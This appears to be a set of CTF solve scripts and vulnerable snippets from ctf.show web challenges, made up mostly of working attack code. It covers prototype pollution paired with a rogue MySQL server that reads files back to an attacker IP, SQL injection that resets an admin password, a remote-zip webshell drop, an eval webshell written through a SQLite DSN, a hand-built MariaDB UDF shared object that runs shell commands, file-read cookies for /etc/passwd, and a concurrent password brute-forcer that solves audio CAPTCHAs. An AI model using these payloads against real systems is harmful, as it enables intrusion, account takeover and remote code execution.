var express = require('express');
var router = express.Router();
var db = require('mysql-promise')
const mysql = require( 'mysql' );
const connection = require("mysql");


class Database {
  constructor( config ) {
    this.connection = mysql.createConnection( config );
  }
  query( sql, args ) {
    return new Promise( ( resolve, reject ) => {
      this.connection.query( sql, args, ( err, rows ) => {
        if ( err )
          return reject( err );
        resolve( rows );
      } );
    } );
  }
  close() {
    return new Promise( ( resolve, reject ) => {
      this.connection.end( err => {
        if ( err )
          return reject(err);
        resolve();
      } );
    } );
  }
}



const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}

function clone(a) {
  return merge({}, a);
}

router.get('/',function (req,res,next) {
  console.log("index");
  //res.render('index', {title: 'HTML'});
})


/* GET home page. */
router.post('/', function(req, res, next) {


    var body = JSON.parse(JSON.stringify(req.body));

    if (body.host != undefined) {
        return res.json({
            "msg":"fu** hacker!!!"
        })
    }

    var num = 0
    for(i in body){
        num ++;
    }
    if(num!=2){
        return res.json({
            "msg":"fu** hacker!!!"
        })
    }else{
        if(body.username==undefined||body.password==undefined){
            return res.json({
                "msg":"fu** hacker!!!"
            })
        }
    }

    var copybody = clone(body)
    var host = copybody.host == undefined ? "localhost" : copybody.host
    var flag = "123432432432"
    var config = {
      host: host,
      user: 'root',
      password: 'root',
      database: 'users'
    };



    let database=new Database(config);
    var user = copybody.username
    var pass = copybody.password
    function isInValiCode(str) {
        var reg= /-| |#|[\x00-\x2f]|[\x3a-\x3f]/;
        return reg.test(str);
    }
    if (isInValiCode(user)){
        return res.json({
            "msg":"no hacker!!!"
        })
    }


  let someRows, otherRows;
    database.query( 'select * from user where user= ? and passwd =?', [user,pass] )
      .then( rows => {

        if (1 == rows[0].Id) {
          res.json({
            "msg":flag
          })
        }

      } )
      .then( rows => {
        otherRows = rows;
        return database.close();
      }, err => {
        return database.close().then( () => { throw err; } )
      } )
      .then( () => {
        res.json({
          "error": "err","msg":"user or pass err"
        })
      })
      .catch( err => {
        res.json({
            "error": "err","msg":"user or pass err"
        })
      } )





});

module.exports = router;

var copybody = clone(body)
var host = copybody.host == undefined ? "localhost" : copybody.host
var config = {
  host: host,
  user: 'root',
  password: 'root',
  database: 'users'
};

{
  "username": "a",
  "password": "b",
  "__proto__": {
    "host": "ATTACKER_IP",
    "port": 3306
  }
}

#!/usr/bin/env python3
import json
import socket
import ssl
import struct
import sys
import threading
import time
import urllib.request


TARGET = "https://6cd3ab9a-3b18-48dd-bf7d-7904faad5f3e.challenge.ctf.show/"
PUBLIC_HOST = sys.argv[1]
LISTEN_PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3306
READ_FILE = sys.argv[3] if len(sys.argv) > 3 else "/flag"

got_file = threading.Event()


def packet(payload, seq):
    return struct.pack("<I", len(payload))[:3] + bytes([seq]) + payload


def recv_packet(conn):
    header = conn.recv(4)
    if not header:
        return None, None
    size = header[0] | (header[1] << 8) | (header[2] << 16)
    seq = header[3]
    data = b""
    while len(data) < size:
        chunk = conn.recv(size - len(data))
        if not chunk:
            break
        data += chunk
    return seq, data


def handshake():
    caps = 0x00000001 | 0x00000004 | 0x00000008 | 0x00000080 | 0x00000200 | 0x00008000 | 0x00080000
    salt1 = b"abcdefgh"
    salt2 = b"ijklmnopqrst"
    data = b"\x0a" + b"5.7.31-rogue\x00"
    data += struct.pack("<I", 1)
    data += salt1 + b"\x00"
    data += struct.pack("<H", caps & 0xffff)
    data += b"\x21" + b"\x02\x00"
    data += struct.pack("<H", caps >> 16)
    data += b"\x15" + b"\x00" * 10
    data += salt2 + b"\x00"
    data += b"mysql_native_password\x00"
    return packet(data, 0)


def ok(seq):
    return packet(b"\x00\x00\x00\x02\x00\x00\x00", seq)


def handle(conn, addr):
    conn.settimeout(30)
    print(f"[+] mysql client from {addr[0]}:{addr[1]}", flush=True)
    conn.sendall(handshake())
    recv_packet(conn)
    conn.sendall(ok(2))

    _, query = recv_packet(conn)
    if not query:
        return
    if query[:1] == b"\x03":
        print("[+] query:", query[1:].decode(errors="ignore"), flush=True)
    conn.sendall(packet(b"\xfb" + READ_FILE.encode(), 1))

    chunks = []
    while True:
        _, data = recv_packet(conn)
        if data is None:
            break
        if data == b"":
            break
        chunks.append(data)

    content = b"".join(chunks)
    if content:
        print("[+] file content:", flush=True)
        print(content.decode(errors="ignore"), flush=True)
        got_file.set()
    conn.sendall(ok(2))


def serve():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind(("0.0.0.0", LISTEN_PORT))
    server.listen(5)
    server.settimeout(60)
    print(f"[+] listening on 0.0.0.0:{LISTEN_PORT}", flush=True)
    end = time.time() + 60
    while time.time() < end and not got_file.is_set():
        try:
            conn, addr = server.accept()
        except socket.timeout:
            break
        try:
            handle(conn, addr)
        finally:
            conn.close()
    server.close()


def trigger():
    payload = {
        "username": "a",
        "password": "b",
        "__proto__": {
            "host": PUBLIC_HOST,
            "port": LISTEN_PORT,
        },
    }
    data = json.dumps(payload).encode()
    req = urllib.request.Request(TARGET, data=data, headers={"Content-Type": "application/json"}, method="POST")
    ctx = ssl._create_unverified_context()
    try:
        with urllib.request.urlopen(req, context=ctx, timeout=20) as resp:
            print("[+] target response:", resp.read().decode(errors="ignore"), flush=True)
    except Exception as exc:
        print("[-] trigger error:", exc, flush=True)


threading.Thread(target=serve, daemon=True).start()
time.sleep(1)
trigger()
got_file.wait(60)

## python3 exp.py 156.239.238.130 3306 /flag

self::$table = stripos(strtolower(self::$table),DB_PREFIX)===0?strtolower(self::$table):DB_PREFIX.strtolower(self::$table);

function gohits($id=0,$molds='article',$i=1){
    $n = M($molds)->getField(['id'=>$id],'hits');
    $num = $n+$i;
    M($molds)->update(['id'=>$id],['hits'=>$num]);
    JsonReturn(['code'=>0,'msg'=>'success','data'=>$num]);
}

/index.php/Common/gohits?id=1';update jz_sysconfig set data='1' where field='closeadminvercode';%23&molds=jz_article&i=1

if(stripos($remote_url,"jizhicms") || stripos($remote_url,"filemanage")){
    die("给我爬");
}

$path = APP_PATH.'A/exts/';
$msg = $this->get_zip_originalsize($tmp_path,$path);

$file_name = $path.zip_entry_name($dir_resource);
file_put_contents($file_name,$file_content);

#!/usr/bin/env python3
import json
import random
import string
from urllib.parse import urlparse

import requests
import urllib3


TARGET = "https://5141c7f1-bf61-4ef5-8660-1df245278d46.challenge.ctf.show"
ZIP_URL = "http://156.239.238.130:8000/p.zip"
SHELL = "x.php"
PASS_HASH = "0acdd3e4a8a2a1f8aa3ac518313dab9d"  # md5(md5("admin") + "YF")


def parse_json(resp):
    text = resp.text.strip()
    start = text.find("{")
    if start != -1:
        text = text[start:]
    try:
        return json.loads(text)
    except Exception:
        return {"raw": resp.text[:200]}


def main():
    target = TARGET.rstrip("/")
    if "靶机地址" in target or "你的VPS" in ZIP_URL:
        print("先改脚本顶部的 TARGET 和 ZIP_URL")
        return

    if "jizhicms" in ZIP_URL.lower() or "filemanage" in ZIP_URL.lower():
        print("ZIP_URL 不能包含 jizhicms/filemanage")
        return

    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    s = requests.Session()
    s.verify = False
    host_a = urlparse(target).netloc
    host_b = host_a.upper()
    if host_b == host_a:
        host_b = "b" + "".join(random.choice(string.ascii_lowercase) for _ in range(8)) + ".local"

    inj = (
        "1';"
        "update jz_sysconfig set data='1' where field='closeadminvercode';"
        f"update jz_level set name='admin',pass='{PASS_HASH}',status=1,gid=1 where id=1;"
        "update jz_level_group set isagree=1 where id=1;"
        "#"
    )
    r = s.get(
        target + "/index.php/Common/gohits",
        params={"id": inj, "molds": "jz_article", "i": "1"},
        headers={"Host": host_a},
        timeout=15,
    )
    print("[+] SQLi:", parse_json(r))

    r = s.post(
        target + "/admin.php/Login/index",
        data={"username": "admin", "password": "admin", "ajax": "1"},
        headers={"Host": host_b},
        timeout=15,
    )
    print("[+] login:", parse_json(r))

    name = "p" + "".join(random.choice(string.ascii_lowercase) for _ in range(6))
    r = s.get(
        target + "/admin.php/Plugins/update",
        params={"filepath": name, "action": "start-download", "download_url": ZIP_URL, "filesize": "1"},
        headers={"Host": host_b},
        timeout=30,
    )
    print("[+] download:", parse_json(r))

    r = s.get(
        target + "/admin.php/Plugins/update",
        params={"filepath": name, "action": "file-upzip"},
        headers={"Host": host_b},
        timeout=30,
    )
    print("[+] unzip:", parse_json(r))
    print(f"[+] webshell: {target}/{SHELL}?cmd=cat+/flag_is_here")


if __name__ == "__main__":
    main()



# python3 -m http.server 8000
# python3 exp.py

Cookie: a=index; m=login
Cookie: a=index; m=register
Cookie: a=index; m=page

Cookie: a=index; m=doregister; ctfshow=user|pass
Cookie: a=index; m=dologin; ctfshow=user|pass

download
upload
read
file
page
main
login
register
dologin
doregister
changeavatar
changepwd

Cookie: a=index; m=download; ctfshow=/etc/passwd|true
Cookie: a=index; m=download; ctfshow=/var/www/html/application/action/index.php|true

$file = $args[0]=='avatar.jpg'?$file=AVATAR_PATH.'avatar.jpg':$args[0];
$flag = $args[1];
if($flag && file_exists($file)){
    echo file_get_contents($file);
}

$this->object = new $class($this->args[0]);
call_user_func_array([$this->object,$method], $this->args);

dsn = 'sqlite:/var/www/html/www/static/shell.php'
route('pdo', 'query', [dsn, 'CREATE TABLE t (c TEXT)'])
route('pdo', 'query', [dsn, 'INSERT INTO t VALUES (\'<?php if(isset($_POST["c"])){eval($_POST["c"]);} ?>\')'])

#!/usr/bin/env python3
import argparse
import random
import re
import ssl
import string
import struct
import sys
import urllib.parse
import urllib.request


SSL_CONTEXT = ssl._create_unverified_context()


def p16(value):
    return struct.pack("<H", value)


def p32(value):
    return struct.pack("<I", value)


def p64(value):
    return struct.pack("<Q", value)


def align_blob(blob, alignment):
    return blob + b"\x00" * ((alignment - len(blob) % alignment) % alignment)


def align_len(length, alignment):
    return length + ((alignment - length % alignment) % alignment)


def elf_hash(name):
    h = 0
    for ch in name:
        h = (h << 4) + ch
        g = h & 0xF0000000
        if g:
            h ^= g >> 24
        h &= ~g
    return h & 0xFFFFFFFF


def rand_token(prefix="s", length=8):
    alphabet = string.ascii_lowercase + string.digits
    return prefix + "".join(random.choice(alphabet) for _ in range(length))


def function_base_offset(names):
    length = 64 + 56 * 2
    length = align_len(length, 8)
    length += 1 + sum(len(name) + 1 for name in names)
    length = align_len(length, 8)
    length += 24 * (len(names) + 1)
    length = align_len(length, 8)
    length += 8 + 4 * 5 + 4 * (len(names) + 1)
    length = align_len(length, 8)
    length += 16 * 6
    length = align_len(length, 16)
    length += 3 + 1
    return align_len(length, 16)


def build_udf_so(function_name):
    """Build a tiny x86_64 Linux MariaDB UDF shared object.

    Exported UDF signature is compatible with:
        integer function_name(string command)

    The function forks, runs `/bin/sh -c <command>`, waits for the child, and
    returns 0.  It is position-independent and does not depend on libc symbols.
    """
    names = [
        function_name.encode(),
        (function_name + "_init").encode(),
        (function_name + "_deinit").encode(),
    ]
    base = function_base_offset(names)

    code = bytearray()
    code += bytes.fromhex("53")              # push rbx
    code += bytes.fromhex("4154")            # push r12
    code += bytes.fromhex("488b4610")        # mov rax, [rsi+0x10] ; UDF_ARGS.args
    code += bytes.fromhex("4c8b20")          # mov r12, [rax]      ; args[0]
    code += bytes.fromhex("b839000000")      # mov eax, 57         ; fork
    code += bytes.fromhex("0f05")            # syscall
    code += bytes.fromhex("4885c0")          # test rax, rax
    child_jump = len(code)
    code += b"\x74\x00"                     # jz child

    code += bytes.fromhex("4889c7")          # mov rdi, rax        ; child pid
    code += bytes.fromhex("31f6")            # xor esi, esi
    code += bytes.fromhex("31d2")            # xor edx, edx
    code += bytes.fromhex("4531d2")          # xor r10d, r10d
    code += bytes.fromhex("b83d000000")      # mov eax, 61         ; wait4
    code += bytes.fromhex("0f05")            # syscall
    code += bytes.fromhex("415c")            # pop r12
    code += bytes.fromhex("5b")              # pop rbx
    code += bytes.fromhex("31c0")            # xor eax, eax
    code += bytes.fromhex("c3")              # ret

    child_offset = len(code)
    code[child_jump + 1] = (child_offset - (child_jump + 2)) & 0xFF

    lea_binsh = len(code)
    code += bytes.fromhex("488d3d00000000")  # lea rdi, [rip+/bin/sh]
    code += bytes.fromhex("31c0")            # xor eax, eax
    code += bytes.fromhex("50")              # push rax            ; argv NULL
    code += bytes.fromhex("4154")            # push r12            ; command
    lea_dashc = len(code)
    code += bytes.fromhex("488d1d00000000")  # lea rbx, [rip+-c]
    code += bytes.fromhex("53")              # push rbx
    code += bytes.fromhex("57")              # push rdi
    code += bytes.fromhex("4889e6")          # mov rsi, rsp        ; argv
    code += bytes.fromhex("31d2")            # xor edx, edx        ; envp NULL
    code += bytes.fromhex("b83b000000")      # mov eax, 59         ; execve
    code += bytes.fromhex("0f05")            # syscall
    code += bytes.fromhex("bf7f000000")      # mov edi, 127
    code += bytes.fromhex("b83c000000")      # mov eax, 60         ; exit
    code += bytes.fromhex("0f05")            # syscall

    binsh_addr = base + len(code)
    code += b"/bin/sh\x00"
    dashc_addr = base + len(code)
    code += b"-c\x00"

    for pos, target in ((lea_binsh, binsh_addr), (lea_dashc, dashc_addr)):
        code[pos + 3 : pos + 7] = struct.pack("<i", target - (base + pos + 7))

    blob = bytearray(64 + 56 * 2)
    blob = align_blob(blob, 8)

    dynstr_offset = len(blob)
    dynstr = b"\x00"
    name_offsets = {}
    for name in names:
        name_offsets[name] = len(dynstr)
        dynstr += name + b"\x00"
    blob += dynstr
    blob = align_blob(blob, 8)

    dynsym_offset = len(blob)
    blob += b"\x00" * 24 * (len(names) + 1)
    blob = align_blob(blob, 8)

    hash_offset = len(blob)
    nbucket = 5
    nchain = len(names) + 1
    buckets = [0] * nbucket
    chains = [0] * nchain
    for index, name in enumerate(names, 1):
        bucket = elf_hash(name) % nbucket
        chains[index] = buckets[bucket]
        buckets[bucket] = index
    blob += p32(nbucket) + p32(nchain)
    blob += b"".join(p32(value) for value in buckets)
    blob += b"".join(p32(value) for value in chains)
    blob = align_blob(blob, 8)

    dynamic_offset = len(blob)
    dynamic_entries = [
        (4, hash_offset),          # DT_HASH
        (5, dynstr_offset),        # DT_STRTAB
        (6, dynsym_offset),        # DT_SYMTAB
        (10, len(dynstr)),         # DT_STRSZ
        (11, 24),                  # DT_SYMENT
        (0, 0),                    # DT_NULL
    ]
    for tag, value in dynamic_entries:
        blob += p64(tag) + p64(value)
    dynamic_size = len(dynamic_entries) * 16
    blob = align_blob(blob, 16)

    init_offset = len(blob)
    blob += bytes.fromhex("31c0c3")          # x_init: return 0
    deinit_offset = len(blob)
    blob += bytes.fromhex("c3")              # x_deinit: ret
    blob = align_blob(blob, 16)

    func_offset = len(blob)
    if func_offset != base:
        raise RuntimeError("internal ELF layout mismatch")
    blob += code

    symbols = [
        (names[0], func_offset, len(code)),
        (names[1], init_offset, 3),
        (names[2], deinit_offset, 1),
    ]
    for index, (name, value, size) in enumerate(symbols, 1):
        offset = dynsym_offset + index * 24
        blob[offset : offset + 24] = (
            p32(name_offsets[name])
            + bytes([0x12, 0])               # STB_GLOBAL | STT_FUNC
            + p16(1)
            + p64(value)
            + p64(size)
        )

    elf_header = (
        b"\x7fELF"
        + bytes([2, 1, 1, 0])
        + b"\x00" * 8
        + p16(3)                             # ET_DYN
        + p16(62)                            # x86_64
        + p32(1)
        + p64(0)
        + p64(64)
        + p64(0)
        + p32(0)
        + p16(64)
        + p16(56)
        + p16(2)
        + p16(0)
        + p16(0)
        + p16(0)
    )
    blob[:64] = elf_header
    blob[64:120] = (
        p32(1)                               # PT_LOAD
        + p32(7)                             # RWX
        + p64(0)
        + p64(0)
        + p64(0)
        + p64(len(blob))
        + p64(len(blob))
        + p64(0x1000)
    )
    blob[120:176] = (
        p32(2)                               # PT_DYNAMIC
        + p32(6)                             # RW
        + p64(dynamic_offset)
        + p64(dynamic_offset)
        + p64(dynamic_offset)
        + p64(dynamic_size)
        + p64(dynamic_size)
        + p64(8)
    )
    return bytes(blob)


def request_route(base_url, action, method, args):
    url = base_url.rstrip("/") + "/"
    value = "|".join(args)
    cookie = "a=%s; m=%s; ctfshow=%s" % (
        urllib.parse.quote(action, safe=""),
        urllib.parse.quote(method, safe=""),
        urllib.parse.quote(value, safe=""),
    )
    req = urllib.request.Request(
        url,
        headers={"Cookie": cookie, "User-Agent": "ctf-udf-exp"},
    )
    with urllib.request.urlopen(req, timeout=20, context=SSL_CONTEXT) as resp:
        return resp.read()


def post_shell(base_url, shell_name, code):
    url = base_url.rstrip("/") + "/static/" + shell_name
    marker_begin = "__EXP_BEGIN_%s__" % rand_token("m", 6)
    marker_end = "__EXP_END_%s__" % rand_token("m", 6)
    wrapped = 'echo "%s"; %s echo "%s";' % (marker_begin, code, marker_end)
    data = urllib.parse.urlencode({"c": wrapped}).encode()
    req = urllib.request.Request(
        url,
        data=data,
        headers={
            "Content-Type": "application/x-www-form-urlencoded",
            "User-Agent": "ctf-udf-exp",
        },
    )
    with urllib.request.urlopen(req, timeout=30, context=SSL_CONTEXT) as resp:
        text = resp.read().decode("latin-1", errors="ignore")
    start = text.find(marker_begin)
    end = text.find(marker_end, start + len(marker_begin))
    if start == -1 or end == -1:
        raise RuntimeError("webshell marker not found; tail=%r" % text[-500:])
    return text[start + len(marker_begin) : end]


def sql_quote(value):
    return "'" + value.replace("'", "''") + "'"


def php_string(value):
    return "'" + value.replace("\\", "\\\\").replace("'", "\\'") + "'"


def create_php_shell(base_url):
    shell_name = rand_token("s", 8) + ".php"
    shell_path = "/var/www/html/www/static/" + shell_name
    dsn = "sqlite:" + shell_path

    request_route(base_url, "pdo", "query", [dsn, "CREATE TABLE t (c TEXT)"])
    payload = '<?php if(isset($_POST["c"])){eval($_POST["c"]);} ?>'
    request_route(base_url, "pdo", "query", [dsn, "INSERT INTO t VALUES (%s)" % sql_quote(payload)])

    probe = post_shell(base_url, shell_name, 'echo "ok";')
    if "ok" not in probe:
        raise RuntimeError("PHP shell probe failed: %r" % probe)
    return shell_name


def register_udf(base_url, shell_name, function_name, so_hex):
    soname = "lib%s.so" % function_name
    php = r'''
$pdo = new PDO("mysql:dbname=ctfshow;host=localhost;charset=utf8mb4", "root", "root", [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
$func = %s;
$soname = %s;
$hex = %s;
try { $pdo->exec("drop function if exists `" . $func . "`"); } catch (Throwable $e) {}
$pdo->exec("select 0x" . $hex . " into dumpfile " . $pdo->quote("/usr/lib/mariadb/plugin/" . $soname));
$pdo->exec("create function `" . $func . "` returns integer soname " . $pdo->quote($soname));
echo "udf_ok";
''' % (php_string(function_name), php_string(soname), php_string(so_hex))
    return post_shell(base_url, shell_name, php)


def mysql_run_command(base_url, shell_name, function_name, command):
    outfile = "/tmp/" + rand_token("cmd", 8) + ".txt"
    full_command = command + " > " + outfile + " 2>&1"
    php = r'''
$pdo = new PDO("mysql:dbname=ctfshow;host=localhost;charset=utf8mb4", "root", "root", [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
$func = %s;
$cmd = %s;
$outfile = %s;
$pdo->query("select `" . $func . "`(" . $pdo->quote($cmd) . ")");
$pdo->exec("drop temporary table if exists tmp_cmd");
$pdo->exec("create temporary table tmp_cmd(line longblob)");
$pdo->exec("load data infile " . $pdo->quote($outfile) . " into table tmp_cmd fields terminated by '\n' lines terminated by '\n' (line)");
echo $pdo->query("select group_concat(line separator 0x0a) from tmp_cmd")->fetchColumn();
''' % (php_string(function_name), php_string(full_command), php_string(outfile))
    return post_shell(base_url, shell_name, php)


def read_file_with_mysql(base_url, shell_name, path):
    php = r'''
$pdo = new PDO("mysql:dbname=ctfshow;host=localhost;charset=utf8mb4", "root", "root", [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
$path = %s;
$pdo->exec("drop temporary table if exists tmp_file");
$pdo->exec("create temporary table tmp_file(line longblob)");
$pdo->exec("load data infile " . $pdo->quote($path) . " into table tmp_file fields terminated by '\n' lines terminated by '\n' (line)");
echo $pdo->query("select group_concat(line separator 0x0a) from tmp_file")->fetchColumn();
''' % php_string(path)
    return post_shell(base_url, shell_name, php)


def pick_flag_path(ls_output):
    candidates = []
    for line in ls_output.splitlines():
        parts = line.split()
        if not parts:
            continue
        name = parts[-1]
        lowered = name.lower()
        if "secret" in lowered or "flag" in lowered or "ctf" in lowered:
            if not name.startswith(".") and name not in ("ctfshow", "ctftraining"):
                candidates.append("/" + name.lstrip("/"))
    if not candidates:
        raise RuntimeError("cannot infer flag path from ls output:\n" + ls_output)
    return candidates[0]


def main():
    parser = argparse.ArgumentParser(description="Full UDF exploit for the ctfshow witch challenge")
    parser.add_argument("url", help="target base URL, e.g. https://xxx.challenge.ctf.show/")
    args = parser.parse_args()
    base_url = args.url.rstrip("/")

    shell_name = create_php_shell(base_url)
    print("[+] php shell: %s/static/%s" % (base_url, shell_name), file=sys.stderr)

    function_name = rand_token("x", 8)
    so_hex = build_udf_so(function_name).hex()
    result = register_udf(base_url, shell_name, function_name, so_hex)
    if "udf_ok" not in result:
        raise RuntimeError("UDF registration failed: %r" % result)
    print("[+] udf registered: %s" % function_name, file=sys.stderr)

    root_listing = mysql_run_command(base_url, shell_name, function_name, "ls -la /")
    print("[+] ls / output:\n%s" % root_listing, file=sys.stderr)

    flag_path = pick_flag_path(root_listing)
    print("[+] flag path: %s" % flag_path, file=sys.stderr)

    flag_text = read_file_with_mysql(base_url, shell_name, flag_path)
    match = re.search(r"ctfshow\{[^}]+\}", flag_text)
    if not match:
        raise RuntimeError("flag pattern not found in file content: %r" % flag_text)
    print(match.group(0))
    return 0


if __name__ == "__main__":
    raise SystemExit(main())


## python3 exp.py 'https://7812f072-f60a-43ae-86fa-017215d36921.challenge.ctf.show/'

<source src="data:audio/mp3;base64,..." />

DATE_TO_DIGIT = {
    "2021-07-07T13:03:57+08:00": "0",
    "2021-07-07T13:05:02+08:00": "1",
    "2021-07-07T13:05:46+08:00": "2",
    "2021-07-07T13:09:33+08:00": "3",
    "2021-07-07T13:06:49+08:00": "4",
    "2021-07-07T13:07:18+08:00": "5",
    "2021-07-07T13:07:43+08:00": "6",
    "2021-07-07T13:08:07+08:00": "7",
    "2021-07-07T13:08:59+08:00": "8",
    "2021-07-07T13:08:34+08:00": "9",
}

#!/usr/bin/env python3
import asyncio
import base64
import re
from pathlib import Path
from urllib.parse import unquote, urljoin

import httpx


TARGET = "https://03b361f3-3aa5-4785-85d3-75bfa2feb5d6.challenge.ctf.show/"
WORDLIST = "密码字典.txt"
USERNAME = "admin"
CONCURRENCY = 64

DATE_TO_DIGIT = {
    "2021-07-07T13:03:57+08:00": "0",
    "2021-07-07T13:05:02+08:00": "1",
    "2021-07-07T13:05:46+08:00": "2",
    "2021-07-07T13:09:33+08:00": "3",
    "2021-07-07T13:06:49+08:00": "4",
    "2021-07-07T13:07:18+08:00": "5",
    "2021-07-07T13:07:43+08:00": "6",
    "2021-07-07T13:08:07+08:00": "7",
    "2021-07-07T13:08:59+08:00": "8",
    "2021-07-07T13:08:34+08:00": "9",
}


def solve_captcha(html: str) -> str:
    b64 = re.search(r'data:audio/mp3;base64,([^\"]+)', html).group(1)
    audio = base64.b64decode(unquote(b64))
    code = []

    for part in re.finditer(rb"ID3", audio):
        chunk = audio[part.start() : part.start() + 6000]
        date = re.search(rb'CreateDate="([^"]+)"', chunk).group(1).decode()
        code.append(DATE_TO_DIGIT[date])

    return "".join(code)


async def try_password(password: str):
    login_url = urljoin(TARGET, "/login")

    async with httpx.AsyncClient(verify=False, follow_redirects=False, timeout=20) as client:
        html = (await client.get(login_url)).text
        captcha = solve_captcha(html)

        resp = await client.post(
            login_url,
            data={"username": USERNAME, "password": password, "pincode": captcha},
        )

        if resp.status_code in (301, 302, 303, 307, 308):
            location = resp.headers.get("location", "")
            if location.rstrip("/").endswith("/login"):
                return None
            resp = await client.get(urljoin(TARGET, location), follow_redirects=True)

        text = resp.text
        flag = re.search(r"(?:flag|ctfshow)\{[^}]+\}", text, re.I)
        if flag:
            return password, captcha, flag.group(0)

        if "用户名或密码错误" not in text and "验证码错误" not in text:
            return password, captcha, text[:300].replace("\n", " ")

        return None


async def main():
    words = [x.strip() for x in Path(WORDLIST).read_text(errors="ignore").splitlines() if x.strip()]
    queue = asyncio.Queue()
    for word in dict.fromkeys(words):
        queue.put_nowait(word)

    tried = 0
    found = asyncio.Event()

    async def worker():
        nonlocal tried
        while not found.is_set():
            try:
                password = queue.get_nowait()
            except asyncio.QueueEmpty:
                return

            try:
                result = await try_password(password)
            except Exception as e:
                result = None
                print(f"[!] {password}: {type(e).__name__}: {e}")

            tried += 1
            if tried % 250 == 0:
                print(f"[*] tried {tried}/{queue.qsize() + tried}")

            if result:
                password, captcha, flag = result
                print("[+] found")
                print(f"username: {USERNAME}")
                print(f"password: {password}")
                print(f"captcha: {captcha}")
                print(f"flag: {flag}")
                found.set()

    await asyncio.gather(*(worker() for _ in range(CONCURRENCY)))
    if not found.is_set():
        print("[-] not found")


if __name__ == "__main__":
    asyncio.run(main())



## python3 exp.py
## admin:young

D = random.randint(100, 200)
pData = [numpy.random.random(D)*100,numpy.random.random(D)*100,numpy.random.random(D)*100]

try:
    data = request.form.getlist('data[]')
    data = list(map(float,data))
    data = numpy.array(data)
except:
    msg="数据转换失败"

try:
    distance =[numpy.linalg.norm(A-data) for A in pData]
    avgdist = numpy.mean(numpy.abs(distance - numpy.mean(distance))**2)
    if avgdist<0.001:
        msg= flag
    else:
        msg= f"您的数据与三个聚类中心的欧拉距离分别是<br><br>{distance}均方差为:{avgdist}"
except:
    msg="未提交数据或数据维度有误"

import re
import requests
import urllib3
import numpy as np

urllib3.disable_warnings()

URL = "https://83a3ee4e-100a-4b99-8da3-cfb410c52599.challenge.ctf.show/"
s = requests.Session()
s.verify = False

num = r"[-+]?\d+(?:\.\d+)?(?:[eE][-+]?\d+)?"

def parse(t):
    m = re.search(r"\[([^\]]+)\].*?均方差为\s*:?\s*(" + num + r")", t, re.S)
    if not m:
        return None
    x = m.group(1).replace("np.float64(", "").replace(")", "")
    v = re.findall(num, x)
    return np.array(list(map(float, v[:3]))) if len(v) >= 3 else None

def post(v):
    r = s.post(URL, data=[("data[]", f"{float(i):.17g}") for i in v], timeout=15)
    return r.text

def oracle(v):
    t = post(v)
    return parse(t), t

D = None
r0 = None

for n in range(100, 201):
    d, t = oracle(np.zeros(n))
    if d is not None:
        D, r0 = n, d
        print("D =", D)
        break

if D is None:
    raise Exception("维度爆破失败，检查 URL 或返回内容")

T = 100.0
P = np.zeros((3, D))

for i in range(D):
    v = np.zeros(D)
    v[i] = T
    r, t = oracle(v)
    if r is None:
        raise Exception(f"第 {i} 维失败")
    P[:, i] = (r0 ** 2 + T ** 2 - r ** 2) / (2 * T)
    print(i + 1, "/", D)

A, B, C = P

M = np.vstack([2 * (B - A), 2 * (C - A)])
b = np.array([B @ B - A @ A, C @ C - A @ A])
x = np.linalg.lstsq(M, b, rcond=None)[0]

print("local dist =", [np.linalg.norm(i - x) for i in P])
print(post(x))